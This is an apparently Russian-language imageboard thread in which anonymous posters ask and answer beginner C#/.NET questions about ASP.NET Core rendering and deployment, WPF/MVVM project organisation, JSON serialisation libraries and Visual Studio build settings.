Visual Studio только делает вид, что твой бэк и фронт живут вместе. На самом деле они живут в своих собственных мирах на 100% изолированно друг от друга. Ты свои статичные файлы (js/css/img/font) браузеру миллионом разных способов отдавать можешь. И общаться c сервером можешь хоть через аякс, хоть через пост бэки, хоть через gRPC, хоть через SignalR (WebSocket). И привязывать на фронте можешь хоть Material Ui, хоть Ant.

Ты, скорее всего, ещё плохо понимаешь как веб приложение в принципе работает. Тогда тебе тем более вредно вшитые project templates использовать. Пытайся делать полностью пустые проекты и подключать элементы один за одним по мере необходимости.

Берёшь CDN ссылку на нужный js или css файл, закидываешь руками на нужную страницу (скорее всего *.cshtml). Потом выбираешь как хочешь данные между бэком и фронтом передавать. В твоём случае у тебя 2 пути: backend rendering via Razor или front-end rendering via Ajax.
В случае с рендерингом на бэке тебе надо будет возвращать готовый хтмл из твоего контроллера через View("ViewName", someData).
Для Ajax надо будет возвращать или просто текст или JSON.

Всё очень просто и прозрачно. К сожалению для "облегчения" вкатыльщиков MS решили накидать сложного бойлерплейта, чтобы было всё и сразу.
Аноним 01/09/20 Втр 18:45:30 17950231397
>>1790545
Можно написать консольную приложуху на старом дотнете и пинать её для выгрузки данных.
Аноним 01/09/20 Втр 18:55:38 17950331398
image.png 15Кб, 1159x171
1159x171
image.png 8Кб, 448x293
448x293
>>1793379
>>1794340
В режиме дебага внутри студии есть такое вот окно. Там будут все доступные real-time логи. Чтобы добавить деталей используй Trace или какой-нибудь логгер. Serilog имеет дефлотный sink для консоли и умеет красиво форматировать вывод.
Аноним 01/09/20 Втр 20:24:59 17950651399
>>1795011
>В твоём случае у тебя 2 пути: backend rendering via Razor или front-end rendering via Ajax.
У меня уже есть опыт с WebApi + ReactJs. До этого хотел делать под одним капотом, но для рендеринга там какие то ChakraCore V8, еще какая то хуета нужна была. Короче плюнул и сделал полностью разделенный функционал, из за чего ловил батхерд с деплоем, т.к. реакт проект закинуть на фришный хостинг - нехуй делать, а вот с говном под названием ASP.NET Core - целая мантра (Azure не в счет).
Так или иначе, backend rendering via Razor, как ты назвал - у меня есть представление, как делать - прокидывать модель или viewbag через контроллер в View и назад. А вот что насчет via Ajax? Как страница будет рендериться в этом случае? На реакт проекте, который хостится на ноде реактивно все рендерится, а тут что будет? Кинь ссылку на пример, нипанимаю
Аноним 01/09/20 Втр 21:44:28 17950941400
>>1795065
ChakraCore V8 вообще не про то, о чём ты думаешь. Тут уже обсуждалось как-то. TLDR - он тебе нафиг не нужен.

Лень примеры писать или искать. React/Angular/Vue как раз через Ajax с серваком и общаются. Кидают туда-сюда JSON объекты.

fetch("https://api.example.com/items")
.then(res => / собирай свой объект и потом используй его в своём html для отрисовки /);

Это абсолютно то же самое что мы на jquery делали:
$.ajax({
url: "https://api.example.com/items"
}).done(res => / собирай свой объект и потом используй его в своём html для отрисовки /);

>а вот с говном под названием ASP.NET Core - целая мантра (Azure не в счет)
Приколист. Если у тебя есть доступ к VM, то ставишь dotnet и запускаешь на нём своё приложение. В зависимости от соединения и удобства инструментов от 1 часа до 1 дня работы.
Azure/GCP/AWS уже имеют настроенные веб серваки и предоставляют к ним доступ через App Service.
Если есть возможность запускаться через Docker, то добавляешь Dockerfile в свой проект, билдишь образ и деплоишь. За пару часов можно разобраться.
https://docs.docker.com/engine/examples/dotnetcore/

Если у тебя хостинг через какой-нибудь GoDaddy, то тут борода конечно - новых технологий давно не завозили.
Аноним 01/09/20 Втр 23:01:24 17951431401
>>1795094
получается я прокидываю ajax запросы на тот же домен, где и фронт и бэк, только по разным раутам? И я все еще не понял, что будет рендерить фронт, если будут статик файлы в виде библиотек JS-a?
Я уже выпилил все из папки wwwroot, через Razor pages я уже пилил когда то, сейчас хочу попробовать все под один капот засунуть, только картина до сих пор не ясна
Аноним 01/09/20 Втр 23:25:45 17951551402
>>1795143
>картина до сих пор не ясна
Она сейчас и не будет ясна с такими то знаниями. Задрачивай это с пол годика каждый день и всё придёт. Только надо при этом официальные доки читать.
Тут прикол не в дотнете или реакте или каком-либо другом языке/фреймворке. Тут прикол в том, что у тебя базовые знания о том как веб в принципе работает отсутствуют. Когда всё на свои места встанет, сможешь и на жаве и на питоне и на чём угодно, что умеет обрабатывать запросы от веб сервака, один и тот же сайт запилить.

>Razor pages пилил когда то
Razor Pages - это новый фреймворк. Не путый со стандартным Razor script, которому уже больше 10 лет. Так что если ты на нём и пилил, то совсем недавно.
Аноним 02/09/20 Срд 08:14:14 17952361403
image.png 11Кб, 267x242
267x242
Анон, когда тред перекатите, у меня вопрос. Он скорее по кодестайлу и архитектуре.

Вот разрабатываю программу, в которой будет дохрена всяких окон и у них в свою очередь будет дохрена подокон (окон которые из них вызываются). Сначала начал от балды в одно пространство создавать - сразу же запутался где какое окно кому принадлежит - надо поправить шрифт или надпись, а хрен вспомнишь где код именно этого окна.

Попытался организовать как на пикче. Все равно сложно искать

Наверняка же есть методология как правильно все это организовать и разложить по простраству имен и папочкам.
Аноним 02/09/20 Срд 09:34:12 17952741404
>>1795155
> с такими то знаниями
>Задрачивай это с пол годика
>надо при этом официальные доки читать
>знания о том как веб в принципе работает
Зачем ты проецируешь свой опыт? В чем конкретно мои знания тебя так огорчили, что я не знаю, как обрабатываются статик файлы в контроллере и обратно? Я уже писал - есть не плохой опыт на WebApi - там все ясно, как божий день - прокидываешь http/s запросы по REST и все заебись. Тут же - хуй пойми что и как
Аноним 02/09/20 Срд 10:46:22 17952971405
>>1795236
>Наверняка же есть методология как правильно все это организовать и разложить по простраству имен и папочкам.
Да, называется MVVM. Создаешь папки Models, Views, ViewModels. В папке Models размещаешь все сущности с которыми будешь работать, в папке Views все xaml и xaml.cs файл, т. е. окна, в папке ViewModels все классы которые будут добавляться к Views в xaml.cs и скоторыми ты будешь работать через xaml окон.
Аноним 02/09/20 Срд 10:58:41 17953051406
>>1795297
Я не он, но вот интересно.
Как у тебя выглядят ViewModel и Model
Потому что у меня ViewModel зачастую получаются банальными обвертками вкоруг Model.
Чего добавляется это только ньюансы с непосредственным выводом на экран, валидация и нотификации интерфейса об изменениях в полях.
И получается все вызовы к методам модели тоже просто оборачиваются методами вьюмодели.
Из-за этого код разбухает на ровном месте.
Аноним 02/09/20 Срд 11:04:42 17953081407
>>1795305
Ну да. Велком ту разрабьётка. А есть еще и DTO, которые еще одна практически копия вью модели. И того на одну сущность три почти одинаковых класса.
А вьюмодели необходимы, когда у тебя есть связанные данные, которые в json'e будут циклироваться. Типа у тебя класс Bomj содержит класс Bomjiha, которая содержит класс Bomj, который...
Аноним 02/09/20 Срд 11:25:35 17953181408
>>1795305
В ViewModel у меня набор команд и моделей которые я использую в относящемся к нему View, т. е. это объединение View и Model. Нотификация достигается за счет реализации интерфейса INotifyPropertyChanged у классов в Model, валидация происходит в методе CanExecute команд.
Аноним 02/09/20 Срд 11:30:16 17953201409
>>1795297
>Да, называется MVVM
нет. Это вообще не то.

Ну будет у меня 100500 xaml в папке View - как это мне поможет находить среди них нужное?. Как это мне поможет понять что вот это окно связано вон с тем окном?
Аноним 02/09/20 Срд 11:37:08 17953281410
>>1795320
"Вот это вот с тем" у тебя уже есть на пикриле из твоего поста, создаешь Views, в ней папки с видами, в них папки с подвидами. Чего ты ожидал, волшебной пилюли которая за тебя всё сортировать будет?
Для того чтобы не бегать по коду каждого окна и изменять в нём шрифт, существуют наборы стилей, если у тебя нет общего стиля и в каждом окне свои тип шрифта, размера, жирности и т. д. то на каждый View можешь создавать еще и набор стилей, подключил один раз в xaml, а изменения вносишь уже непосредственно в сам файл со стилями.
Аноним 02/09/20 Срд 11:42:32 17953331411
>>1795328
Ты меня вообще не понял.

>Для того чтобы не бегать по коду каждого окна и изменять в нём шрифт, существуют наборы стилей
Опять не то. Смотри.
Я запускаю свою программу, тестирую - и где-то ебенях интерфейса через 100500 прошедших окон я вижу косяк - например мне не нравится текст надписи, или возможно размер элемента не вмещает всю строку считаную из бд или еще чего..

Теперь мне надо найти xaml этого окна в папке VIew, где находятся еще 10500 других окон. И в итоге я начинаю каждое открывать, смотреть, пытаться вспомнить - это окно или не это.


То есть весь вопрос - как организовать удобную иерархию папок чтобы сразу находить xaml нужного окна
Аноним 02/09/20 Срд 11:47:56 17953351412
здарова, аноны
короче такая тема: есть json файл, который содержит название поля класса - его значение
Есть ли какие-то готовые решения, чтобы я мог инициализировать класс из этого жисона? Свои велосипеды написать не сложно, но хочется что-то типа Class class = JsonUtility.Deikpukserk(json)
спасибо
Аноним 02/09/20 Срд 11:51:16 17953371413
>>1795335
стандартный десериализатор от майков и newtonsoft.json
Аноним 02/09/20 Срд 11:52:26 17953381414
>>1795333
Так в чём проблема, блять? Смотри.

У меня есть окно которое выполняет функцию n, я вижу что-то, что я хотел бы в нём изменить, в поиске по решению я вбиваю окновыполняющеефункциюn и нахожу его.
Твой пример можно понять только если у тебя названия окон не отражают их предназначения.
И каким хуем у тебя 100500 окон в проекте? Может ты при изменении названия кнопки создаешь отдельное окно, вместо того чтобы изменить название кнопки в уже существующем?
Аноним 02/09/20 Срд 13:39:01 17953991415
Аноны, как в visual studio билдить unsafe проект?
Мне выдает ошибку что
unsafe code may only appear if compiling with /unsafe
Я делаю билд просто щелкая правой кнопкой по проекту и дальше build solution.
Аноним 02/09/20 Срд 14:46:45 17954441416
>>1795399
зайди в конфиг проекта, поставь галочку напротив allow unsafe code
Аноним 02/09/20 Срд 15:04:35 17954491417
>>1795444
>поставь галочку напротив allow unsafe code
там нет такого. Вообще в конфиге нет ничего про билд.
Использую VS2019
Аноним 02/09/20 Срд 15:32:19 17954821418
12123.jpg 84Кб, 953x649
953x649
>>1795449
Странно, у меня есть. Попробуй переустановить шиндоws
Аноним 02/09/20 Срд 16:22:03 17955161419
>>1795482
Анон, распиши как ты это открыл.
Может мы про разные вещи говорим.
Я делаю следующее: щелкаю в Solution Explorer по myProject и дальше выбираю Properties.
Аноним 02/09/20 Срд 16:24:27 17955201420
>>1795516
Ты наверное щелкаешь по солюшену, а нужно по проекту
Аноним 02/09/20 Срд 16:39:21 17955271421
>>1795274
Потому что у тебя вопросы как у наших джунов. И они точно также агрятся, когда им указываешь на отсутствие каких-то знаний. И я такой же лет 12 назад был.
У сеньора (даже если он с дотнетом только вчера познакомился) таких проблем обычно не возникает.
Аноним 02/09/20 Срд 19:37:51 17956771422
Аноны, а не подскажите можно ли в visual studio найти все файлы где вызывался определенный метод?
Аноним 02/09/20 Срд 21:19:50 17957431423
>>1795527
кто агрится? Ты или шаришь опыт или тыкаешь, что не так. Твои фантазии ака "пол года", "отсутствие знаний" оставь при себе
Аноним 02/09/20 Срд 23:09:33 17957971424
>>1795743
Я зашарил опыт, дальше у тебя пошли какие-то странные вопросы.
>что будет рендерить фронт, если будут статик файлы в виде библиотек JS-a?
JS будет рендерить. Притащит данные через аякс и через какой-нибудь MVVM (knockout, react, vue) забиндит модель с данными с заранее написанным темплейтом. Либо ручками нагенерит html элементы.
Аноним 02/09/20 Срд 23:17:14 17958021425
Как этот код выглядит на C#? У меня не получается создать ссылки на типы классов.
http://www.cpp.sh/2dxqg
Аноним 03/09/20 Чтв 00:21:35 17958191426
12123.jpg 46Кб, 458x604
458x604
Аноним 03/09/20 Чтв 00:33:16 17958301427
>>1795819
А можешь просто как-нибудь переконвертировать мой C++ в C#, чтобы я хотя бы понял, как оно у вас выглядит?
Аноним 03/09/20 Чтв 00:34:20 17958321428
>>1795819
Хотя бы скажи, почему я у вас указатель на тип класса не могу создать, и какая тут есть альтернатива.
Аноним 03/09/20 Чтв 01:04:43 17958411429
>>1795320
У нас значение по умолчанию для переменной-ссылки - null, поэтому нужно писать var someClass = new someClass();
>указатель на тип класса
Для того чтобы указывать на тип нужно чтобы этот тип был с модификатором static.
Аноним 03/09/20 Чтв 02:42:07 17958581430
С каких пор в шарпе стали именовать приватные методы с маленькой буквы? Никогда такого не было. Недавно решарпер стал подсказывать, а сейчас Смотрю чужую репу на гитхабе – там то же самое в проекте от 2013 года!
Нет, блядь, нет, я точно помню, что методы всегда с большой буквы писались
Аноним 03/09/20 Чтв 08:36:12 17959231431
>>1795858
Пиздёжь, приватные методы с большой именуются
Аноним 03/09/20 Чтв 11:51:23 17961231432
>>1795923
Так в том-то и дело! Приду, не поленюсь, заскриню. Даже решарпер предлагает варианты с маленькой буквы
Я уж подумал, что мандела случилась

Хотя у меня всю ночь охуительные сновидения были, может, приснилось
Аноним 03/09/20 Чтв 15:12:58 17963571433
>>1795923
Похоже, приснилось мне это все. А ведь как вживую помню - открываю репу, там методы с маленькой буквы. Скроллю вверх, а там подписано, что последний коммит в 2013 году был. Еще решарпер этот. Охуеть. Не ложитесь поздно спать, пацаны
Аноним 03/09/20 Чтв 18:15:29 17965131434
Почему то выходит ошибка An object reference is required for the nonstatic field, method, or property.
Есть файл Program.cs с классом Program. В нём есть static void Main и private void getInformation().
getInformation вызывается в Main и он же дает ошибку. Как это пофиксить?
Аноним 03/09/20 Чтв 19:03:15 17965601435
>>1796513
Main.GetInformation()
Вот что ты пытаешься сделать, грубо говоря. Нельзя использовать нестатические штуки из статических, потому что статику можно юзать всегда, она тупо есть. А нестатику – сперва надо создать что-то у созданного объекта уже вызывать
var x = new Main();
x.GetInformation():


Ты, кстати, хули с маленькой буквы названия метода написал?
Аноним 03/09/20 Чтв 19:24:08 17965741436
А што лучше, Newtonsoft.Json или System.Text.Json? В чем различия?
Аноним 03/09/20 Чтв 21:55:03 17967581437
>>1796574
System.Text.Json
- уже вшит в базовый фреймворк;
- судя по бенчмаркам работает быстрее на хайлоаде с большими json объектами;
- кастомизировать сложнее.

Newtonsoft.Json
- надо nuget пакет тащить;
- древний и откалиброванный под мелкие задачи;
- куча классов хелперов, из-за которых твой код выглядит симпатичнее.

Для новых проектов на новом донете лучше системный использовать - его постоянно пилят и улучшают и он по умолчанию поддерживается в aspnetcore. Newtonsoft надо будет руками прописывать в сетапе.
Аноним 03/09/20 Чтв 22:09:44 17967651438
>>1796513
Добавь модификатор static методу GetInformation
Аноним 03/09/20 Чтв 22:11:03 17967661439
Аноним 04/09/20 Птн 02:13:19 17969241440
>>1795338
>у тебя названия окон не отражают их предназначения.
this. Даже не знаю как именовать, чтобы потом находило.

>>1795338
>И каким хуем у тебя 100500 окон в проекте?
Прога будет большой, много всяких настроек, отчетов, просмотров. А тулить все в одно окно - слишком сложная структура, либо придется отказаться от визуального редактора
Аноним 04/09/20 Птн 07:08:44 17969551441
>>1728880

А такое может быть, у меня однажды пизданулись все залинкованые к проекту либы, хотя вс показывала что все ок, помог только выпил директории и гит пул
Аноним 04/09/20 Птн 11:09:04 17970341442
Перекат когда будет? Довольно стремно каждый раз искать тред. Ну серьезно же.
Аноним 04/09/20 Птн 11:30:17 17970481443
>>1797034
Разрешаю. Можешь перекатывать.
Аноним 04/09/20 Птн 11:39:52 17970561444
>>1797048
Хм. Вроде перекатил
Аноним 04/09/20 Птн 11:42:00 17970601445
Аноним 07/10/20 Срд 19:48:12 18254091446
nDfwSAEwHxw.png 56Кб, 396x167
396x167
Прописываем SerializeField, а оно не работает и даже не определяется. Кроме того, все функции, связанные с сериализацией не работают, хелп плиз.
Аноним 13/10/20 Втр 18:14:51 18294361447
>>1825409
using добавь... если не определяется, добавь в проект ссылку на библиотеку
Аноним 13/10/20 Втр 18:17:17 18294411448
>>1825409
если не поможет, попробуй clean & rebuild solution или удали бинарники, перезапусти студию. бывает заедает её
Аноним 13/10/20 Втр 18:18:06 18294431449
>>1825409
можно попробовать ещё dotnet/nuget restore
Аноним 13/10/20 Втр 18:18:57 18294451450
>>1796955
бинарники надо было удалить просто, или сбросить кеш в студии
Аноним 26/10/20 Пнд 12:53:19 18400221451
А может кто-то из анонов протестить проект на предмет ошибок?
в замен могу оставить тестовый акк и 50 гигов квоты на нем
Аноним 04/12/20 Птн 15:46:49 18727511452
image.png 400Кб, 1433x1600
1433x1600
Почему рыночек порешал шарпёров?
Аноним 16/12/20 Срд 13:33:54 18818321453
Нужен код, анонимусы, на С#. Создание лабиринта, хелпаните плиз, до пары 1,5 часа
Аноним 23/12/20 Срд 17:40:33 18883531454
>>1872751
Потому чо это не так, и ты это знаешь, но вылез позлорадствовать в самый подходящий для тебя момент.
Настройки X
Ответить в тред X
15000
Макс объем: 40Mб, макс кол-во файлов: 4
Кликни/брось файл/ctrl-v
Стикеры X
Избранное / Топ тредов